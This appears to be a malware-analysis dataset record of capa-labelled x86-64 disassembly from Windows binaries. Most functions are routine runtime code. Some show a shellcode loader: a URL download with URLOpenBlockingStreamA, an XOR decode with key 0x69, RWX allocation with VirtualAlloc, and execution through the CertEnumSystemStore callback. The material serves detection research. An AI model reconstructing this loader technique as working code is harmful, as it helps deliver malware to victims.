joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140216c20
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x16
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x1402990c0]
xor rax, rbp
mov qword [rbp + 0x100], rax
lea rcx, [0x1402b297c]
call fcn.1400b6e3b
nop
mov edx, 8
lea rcx, [rbp + 8]
call fcn.1402184c0
mov rdx, qword [rbp + 0x138]
lea rcx, [rbp + 8]
call fcn.1402174c0
nop
lea rax, [0x140216700]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x130]
add rax, 8
mov qword [rbp + 0xf8], rax
lea rcx, [rbp + 8]
call fcn.140218740
mov rcx, qword [rbp + 0xf8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x130]
mov qword [rcx], rax
mov rax, qword [rbp + 0x130]
cmp qword [rax], 0
je 0x140216cfc
lea rcx, [rbp + 8]
call fcn.140218910
nop
jmp 0x140216d15
mov rax, qword [rbp + 0x130]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.1400b4a05
nop
lea rcx, [rbp + 8]
call fcn.140217a70
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14027cef0]
call fcn.1400b6620
mov rcx, qword [rbp + 0x100]
xor rcx, rbp
call fcn.1400b55d6
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret

Function at 0x140216da0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x16
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x1402990c0]
xor rax, rbp
mov qword [rbp + 0x100], rax
lea rcx, [0x1402b297c]
call fcn.1400b6e3b
nop
mov edx, 8
lea rcx, [rbp + 8]
call fcn.140218500
mov rdx, qword [rbp + 0x138]
lea rcx, [rbp + 8]
call fcn.140217590
nop
lea rax, [0x140216810]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x130]
add rax, 8
mov qword [rbp + 0xf8], rax
lea rcx, [rbp + 8]
call fcn.140218790
mov rcx, qword [rbp + 0xf8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x130]
mov qword [rcx], rax
mov rax, qword [rbp + 0x130]
cmp qword [rax], 0
je 0x140216e7c
lea rcx, [rbp + 8]
call fcn.140218970
nop
jmp 0x140216e95
mov rax, qword [rbp + 0x130]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.1400b4a05
nop
lea rcx, [rbp + 8]
call fcn.140217b00
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14027cf70]
call fcn.1400b6620
mov rcx, qword [rbp + 0x100]
xor rcx, rbp
call fcn.1400b55d6
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret
Function at 0x14021c6c0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400b702a
movzx eax, al
test eax, eax
jne 0x14021c6e0
mov ecx, 7
call fcn.1400b6657
nop
mov byte [rsp + 0x20], 0
call fcn.1400b6742
mov byte [rsp + 0x21], al
cmp dword [0x1402a1860], 1
jne 0x14021c704
mov ecx, 7
call fcn.1400b6657
nop
jmp 0x14021c75c
cmp dword [0x1402a1860], 0
jne 0x14021c757
mov dword [0x1402a1860], 1
lea rdx, [0x1402297a8]
lea rcx, [0x140229478]
call fcn.1400b5540
test eax, eax
je 0x14021c738
mov eax, 0xff
jmp 0x14021c861
lea rdx, [0x140229368]
lea rcx, [section..rdata]
call fcn.1400b6724
mov dword [0x1402a1860], 2
jmp 0x14021c75c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400b65d5
call fcn.1400b6148
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x14021c7b9
mov rcx, qword [rsp + 0x30]
call fcn.1400b513a
movzx eax, al
test eax, eax
je 0x14021c7b9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x1402b4020]
nop
call fcn.1400b6332
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14021c7ed
mov rcx, qword [rsp + 0x38]
call fcn.1400b513a
movzx eax, al
test eax, eax
je 0x14021c7ed
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400b6cce
nop
call fcn.14021c8d0
mov dword [rsp + 0x28], eax
call fcn.1400b603f
movzx eax, al
test eax, eax
jne 0x14021c80c
mov ecx, dword [rsp + 0x28]
call fcn.1400b4348
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14021c81b
call fcn.1400b6d6e
nop
xor edx, edx
mov cl, 1
call fcn.1400b5036
mov eax, dword [rsp + 0x28]
jmp 0x14021c861
add rsp, 0x68
ret
Function at 0x1400014d0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x90
mov rbx, rcx
mov ecx, 0x3e8
mov rsi, r8
mov rdi, rdx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rsp + 0x30]
xor r9d, r9d
mov rdx, rbx
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
test eax, eax
js 0x1400015ca
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rax, qword [rcx]
mov r8d, 1
call qword [rax + 0x60]
test eax, eax
jns 0x140001555
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x1400015ca
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r11d, dword [rsp + 0x50]
mov ecx, r11d
mov dword [rsi], r11d
call fcn.140002d18
mov ecx, 0x3e8
mov qword [rdi], rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x30]
mov r8d, dword [rsi]
mov rdx, qword [rdi]
mov dword [rsp + 0xb8], 0
mov rax, qword [rcx]
lea r9, [rsp + 0xb8]
call qword [rax + 0x18]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rcx]
mov ebx, eax
call qword [rdx + 0x10]
test ebx, ebx
js 0x1400015c2
mov eax, dword [rsi]
cmp dword [rsp + 0xb8], eax
jne 0x1400015c2
mov al, 1
jmp 0x1400015cc
mov rcx, qword [rdi]
call fcn.1400037d8
xor al, al
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x1400016a0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ebx, edx
mov rsi, rcx
movsxd r8, edx
test edx, edx
je 0x1400016cb
mov rax, rcx
nop
xor byte [rax], 0x69
inc rax
dec r8
jne 0x1400016c0
mov edx, ebx
call fcn.140001610
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rdi
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.1400030c0
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov ecx, 0x10000
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
Function at 0x140001770
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0xa8]
sub rsp, 0x1a0
mov qword [rbp - 0x68], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rbp - 0x78], 7
xor edi, edi
mov qword [rbp - 0x80], rdi
mov word [rsp + 0x70], di
lea r8d, [rdi + 0x18]
lea rdx, str.C:UsersPublicDesktop_
lea rcx, [rsp + 0x70]
call fcn.140001e90
nop
mov qword [rbp - 0x48], 7
mov qword [rbp - 0x50], rdi
mov word [rbp - 0x60], di
lea r8d, [rdi + 2]
lea rdx, [0x140021c1c]
lea rcx, [rbp - 0x60]
call fcn.140001e90
nop
mov qword [rbp - 0x20], 7
mov qword [rbp - 0x28], rdi
mov word [rbp - 0x38], di
lea r8d, [rdi + 4]
lea rdx, [0x140021c28]
lea rcx, [rbp - 0x38]
call fcn.140001e90
nop
mov qword [rbp + 8], 7
mov qword [rbp], rdi
mov word [rbp - 0x10], di
lea r8d, [rdi + 2]
lea rdx, [0x140021c34]
lea rcx, [rbp - 0x10]
call fcn.140001e90
nop
mov qword [rbp + 0x30], 7
mov qword [rbp + 0x28], rdi
mov word [rbp + 0x18], di
lea r8d, [rdi + 4]
lea rdx, [0x140021c40]
lea rcx, [rbp + 0x18]
call fcn.140001e90
nop
mov qword [rbp + 0x58], 7
mov qword [rbp + 0x50], rdi
mov word [rbp + 0x40], di
lea r8d, [rdi + 2]
lea rdx, [0x140021c4c]
lea rcx, [rbp + 0x40]
call fcn.140001e90
nop
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
lea r8d, [rdi + 4]
lea rdx, str..lnk
lea rcx, [rsp + 0x20]
call fcn.140001e90
nop
mov ebx, edi
nop
movsxd rax, ebx
lea rcx, [rax + rax*4]
lea r8, [rbp + rcx*8 - 0x60]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140002420
nop
lea r8, [rsp + 0x20]
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400024e0
nop
cmp qword [rbp + 0x88], 8
jb 0x1400018e1
mov rcx, qword [rbp + 0x70]
call fcn.1400039b8
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000196a
cmp qword [rsp + 0x60], 8
jb 0x14000190f
mov rcx, qword [rsp + 0x48]
call fcn.1400039b8
inc ebx
cmp ebx, 5
jb 0x1400018a0
cmp qword [rsp + 0x38], 8
jb 0x140001928
mov rcx, qword [rsp + 0x20]
call fcn.1400039b8
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
lea r9, [fcn.140001c40]
mov edx, 0x28
lea r8d, [rdx - 0x23]
lea rcx, [rbp - 0x60]
call fcn.140003778
nop
cmp qword [rbp - 0x78], 8
jb 0x140001966
mov rcx, qword [rsp + 0x70]
call fcn.1400039b8
xor al, al
jmp 0x1400019e1
cmp qword [rsp + 0x60], 8
jb 0x14000197c
mov rcx, qword [rsp + 0x48]
call fcn.1400039b8
mov qword [rsp + 0x60], 7
mov qword [rsp + 0x58], rdi
mov word [rsp + 0x48], di
cmp qword [rsp + 0x38], 8
jb 0x1400019a1
mov rcx, qword [rsp + 0x20]
call fcn.1400039b8
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
lea r9, [fcn.140001c40]
mov edx, 0x28
lea r8d, [rdx - 0x23]
lea rcx, [rbp - 0x60]
call fcn.140003778
nop
cmp qword [rbp - 0x78], 8
jb 0x1400019df
mov rcx, qword [rsp + 0x70]
call fcn.1400039b8
mov al, 1
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x1400028a0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret

Function at 0x140004368
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400041d8

Function at 0x140008728
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1400269f0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140007824
xor ebx, ebx
cmp qword [0x140028088], rbx
mov rdi, rax
jne 0x14000883b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140008912
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140008912
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140028088], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140028090], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140028098], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1400280a8], rax
test rax, rax
je 0x140008832
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1400280a0], rax
jmp 0x140008842
mov rax, qword [0x1400280a0]
jmp 0x140008849
mov rax, qword [0x1400280a0]
mov r11, qword [0x1400280a8]
cmp rax, rdi
je 0x1400088b0
cmp r11, rdi
je 0x1400088b0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1400280a8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400088b0
test rax, rax
je 0x1400088b0
call rsi
test rax, rax
je 0x1400088aa
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400088aa
test byte [rsp + 0x40], 1
jne 0x1400088b0
bts ebp, 0x15
jmp 0x1400088f0
mov rcx, qword [0x140028090]
cmp rcx, rdi
je 0x1400088f0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400088f0
call rax
mov rbx, rax
test rax, rax
je 0x1400088f0
mov rcx, qword [0x140028098]
cmp rcx, rdi
je 0x1400088f0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400088f0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140028088]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140008912
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140008914
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140008b70
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140013eab
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1400269f0]
jne 0x140008b8a
rol rcx, 0x10
test cx, 0xffff
jne 0x140008b86
repz ret
ror rcx, 0x10
jmp 0x140013e04
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140028240]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140028338]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140013e89
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140028240]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140013eab
mov rax, qword [rsp + 0x88]
mov qword [0x140028338], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400282d8], rax
mov rax, qword [0x140028338]
mov qword [0x1400281b0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400282c0], rax
mov dword [0x1400281a0], 0xc0000409
mov dword [0x1400281a4], 1
mov rax, qword [0x1400269f0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1400269f8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140028238], eax
mov ecx, 1
call fcn.14000ad34
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140020368]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140028238], 0
jne 0x140013f32
mov ecx, 1
call fcn.14000ad34
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140001988
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019d2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019d2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019d2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019d2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019d2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019d4
xor al, al
add rsp, 0x28
ret
Function at 0x1400332c0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
mov r14, rdx
mov qword [rbp - 0x30], rcx
add r9, r8
mov qword [rbp - 0x28], r8
mov qword [rbp - 0x20], r9
mov word [rbp - 0x18], 0
mov dword [rbp - 0x10], 1
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x28]
call fcn.14009fa40
mov dword [rbp - 4], 0x800
mov dword [rbp - 8], 0
movzx eax, byte [0x140381f51]
mov ecx, 0x800
mov edx, 1
call fcn.14000bca0
test rax, rax
je 0x14003345e
mov rbx, rax
mov qword [rbp - 0x28], 0x800
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 0
mov rdi, qword [rbp - 0x48]
lea r12, [rbp - 4]
lea r15, [rbp - 8]
mov rsi, qword [sym.imp.advapi32.dll_RegQueryValueExW]
mov r13, qword [rbp - 0x28]
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
sub r13, rax
nop word cs:[rax + rax]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rbx
mov rcx, r14
mov rdx, rdi
xor r8d, r8d
mov r9, r15
call rsi
cmp eax, 0xea
jne 0x1400333bb
mov r8d, dword [rbp - 4]
cmp r13, r8
jae 0x140033380
lea rcx, [rbp - 0x28]
mov rdx, qword [rbp - 0x38]
call fcn.1401d98a0
mov rbx, qword [rbp - 0x20]
jmp 0x140033366
test eax, eax
jne 0x1400333de
mov eax, dword [rbp - 4]
mov qword [rbp - 0x18], rax
mov eax, dword [rbp - 8]
cmp eax, 0xb
mov rdx, qword [rbp - 0x30]
jbe 0x140033441
movabs rax, 0xde00000002
jmp 0x1400333ea
shl rax, 0x20
or rax, 2
mov rdx, qword [rbp - 0x30]
mov qword [rdx + 8], rax
movabs rax, 0x8000000000000000
mov qword [rdx], rax
mov rdx, qword [rbp - 0x28]
test rdx, rdx
je 0x140033412
mov r8d, 1
mov rcx, rbx
call fcn.14000bcb0
mov rdx, qword [rbp - 0x50]
test rdx, rdx
je 0x14003342c
add rdx, rdx
mov r8d, 2
mov rcx, rdi
call fcn.14000bcb0
nop
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rbp - 0x18]
mov qword [rdx + 0x10], rcx
movups xmm0, xmmword [rbp - 0x28]
movups xmmword [rdx], xmm0
mov byte [rdx + 0x18], al
mov rdx, qword [rbp - 0x50]
test rdx, rdx
jne 0x14003341b
jmp 0x14003342c
mov ecx, 1
mov edx, 0x800
call fcn.1401dbc40
ud2
Function at 0x140038d90
Capabilities:
Encrypt data via sspi

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
mov r12, r8
mov r15, rdx
mov rsi, rcx
lea rbx, [rsp + 0x28]
mov rcx, rbx
mov rdx, rsi
call fcn.14003a7d0
mov ecx, dword [rsp + 0x28]
cmp ecx, 2
jne 0x140038dd1
mov rdx, qword [rsp + 0x30]
mov eax, 1
jmp 0x140038fc2
mov eax, 1
test ecx, ecx
je 0x140038f27
mov rdx, qword [rsi + 0x190]
mov r14, qword [rsi + 0x198]
cmp r14, rdx
jne 0x140038f6d
mov rdi, qword [rsp + 0x30]
mov ebp, edi
shr rdi, 0x20
cmp r12, rdi
cmovb rdi, r12
mov r13d, dword [rsp + 0x2c]
lea r12, [rdi + r13]
add rbp, r12
sub rbp, r14
jbe 0x140038e65
mov rax, qword [rsi + 0x180]
sub rax, r14
cmp rax, rbp
jb 0x140038fd3
mov rbx, qword [rsi + 0x188]
lea rcx, [rbx + r14]
cmp rbp, 2
jb 0x140038e53
lea r8, [rbp - 1]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add r14, rbp
dec r14
add rbx, r14
mov rcx, rbx
lea rbx, [rsp + 0x28]
mov byte [rcx], 0
inc r14
mov qword [rsi + 0x190], r14
cmp r12, r14
ja 0x140039015
mov rcx, qword [rsi + 0x188]
add rcx, r13
mov rdx, r15
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rsi + 0x190]
cmp rdx, r13
jb 0x140039027
cmp rdx, r12
jb 0x140039036
mov rax, qword [rsi + 0x188]
lea rcx, [rax + r13]
sub edx, r12d
add r12, rax
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], 7
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x3c], 1
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], edx
mov dword [rsp + 0x4c], 6
mov qword [rsp + 0x50], r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
movabs rax, 0x400000000
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rbx
lea rcx, [rsi + 0x1f0]
lea r8, [rsp + 0x68]
xor edx, edx
xor r9d, r9d
call qword [sym.imp.secur32.dll_EncryptMessage]
test eax, eax
je 0x140038f36
mov edx, eax
shl rdx, 0x20
or rdx, 2
jmp 0x140038dc7
movabs rdx, 0x8009031700000002
jmp 0x140038fc2
mov eax, dword [rsp + 0x38]
add eax, dword [rsp + 0x28]
add eax, dword [rsp + 0x48]
mov rdx, qword [rsi + 0x190]
cmp rdx, rax
jb 0x140038f58
mov qword [rsi + 0x190], rax
mov rdx, rax
mov qword [rsi + 0x198], 0
mov qword [rsi + 0x218], rdi
xor r14d, r14d
cmp r14, rdx
je 0x140038fb9
lea rdi, [rsi + 0x10]
nop word cs:[rax + rax]
mov r8, rdx
sub r8, r14
jb 0x140039006
mov rdx, qword [rsi + 0x188]
add rdx, r14
mov rcx, rdi
call fcn.140080aa0
test rax, rax
jne 0x140038dc7
add r14, rdx
mov qword [rsi + 0x198], r14
mov rdx, qword [rsi + 0x190]
cmp r14, rdx
jne 0x140038f80
mov rdx, qword [rsi + 0x218]
xor eax, eax
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsi + 0x180]
mov rdx, r14
mov r8, rbp
call fcn.1401d98a0
mov r14, qword [rsi + 0x190]
mov rbx, qword [rsi + 0x188]
lea rcx, [rbx + r14]
cmp rbp, 2
jae 0x140038e3c
jmp 0x140038e53
lea r8, [0x140284248]
mov rcx, r14
call fcn.1401dc320
lea r8, [0x1402841a8]
mov rcx, r12
mov rdx, r14
call fcn.1401dc330
lea r8, [0x1402841c0]
mov rcx, r13
call fcn.1401dc330
lea r8, [0x1402841d8]
mov rcx, r12
call fcn.1401dc330
int3
Function at 0x14008f740
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
call fcn.14019cce0
cmp qword [rax], 0
je 0x14008f75e
add rax, 8
jmp 0x14008f768
mov rcx, rax
xor edx, edx
call fcn.1400a2ea0
mov r11, qword [rax]
mov rcx, qword [rax + 8]
lea r9, [r11 + 1]
movabs rdx, 0x736f6d6570736575
xor rdx, r11
movabs r8, 0x646f72616e646f6d
xor r8, rcx
add rdx, r8
rol r8, 0xd
mov qword [rax], r9
xor r8, rdx
rol rdx, 0x20
movabs r9, 0x6c7967656e657261
mov r10, r8
rol r10, 0x11
xor r9, r11
mov r11d, 1
movabs rsi, 0x7465646279746573
movabs rdi, 0x800000000000000
nop dword [rax]
mov r12, rcx
xor r12, r11
xor r12, rsi
lea rbx, [r12 + r9]
rol r12, 0x10
xor r12, rbx
lea r14, [r12 + rdx]
rol r12, 0x15
add rbx, r8
mov r15, rbx
xor r15, r10
rol rbx, 0x20
mov rax, r14
xor rax, r11
add rax, r15
rol r15, 0xd
xor r14, rdi
xor r15, rax
rol rax, 0x20
xor r14, r12
add rbx, r14
rol r14, 0x10
xor r14, rbx
add rax, r14
rol r14, 0x15
add rbx, r15
rol r15, 0x11
xor r14, rax
xor r15, rbx
rol rbx, 0x20
xor rax, rdi
add rax, r15
rol r15, 0xd
xor r15, rax
rol rax, 0x20
xor rbx, 0xff
add rbx, r14
rol r14, 0x10
xor r14, rbx
add rax, r14
rol r14, 0x15
add rbx, r15
rol r15, 0x11
xor r15, rbx
rol rbx, 0x20
xor r14, rax
add rax, r15
rol r15, 0xd
xor r15, rax
rol rax, 0x20
add rbx, r14
rol r14, 0x10
xor r14, rbx
add rax, r14
rol r14, 0x15
add rbx, r15
rol r15, 0x11
xor r15, rbx
rol rbx, 0x20
xor r14, rax
add rax, r15
rol r15, 0xd
add rbx, r14
rol r14, 0x10
xor r14, rbx
rol r14, 0x15
xor r15, rax
add rbx, r15
rol r15, 0x11
mov rax, rbx
rol rax, 0x20
xor rax, r15
xor rax, r14
inc r11
xor rax, rbx
je 0x14008f7d0
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret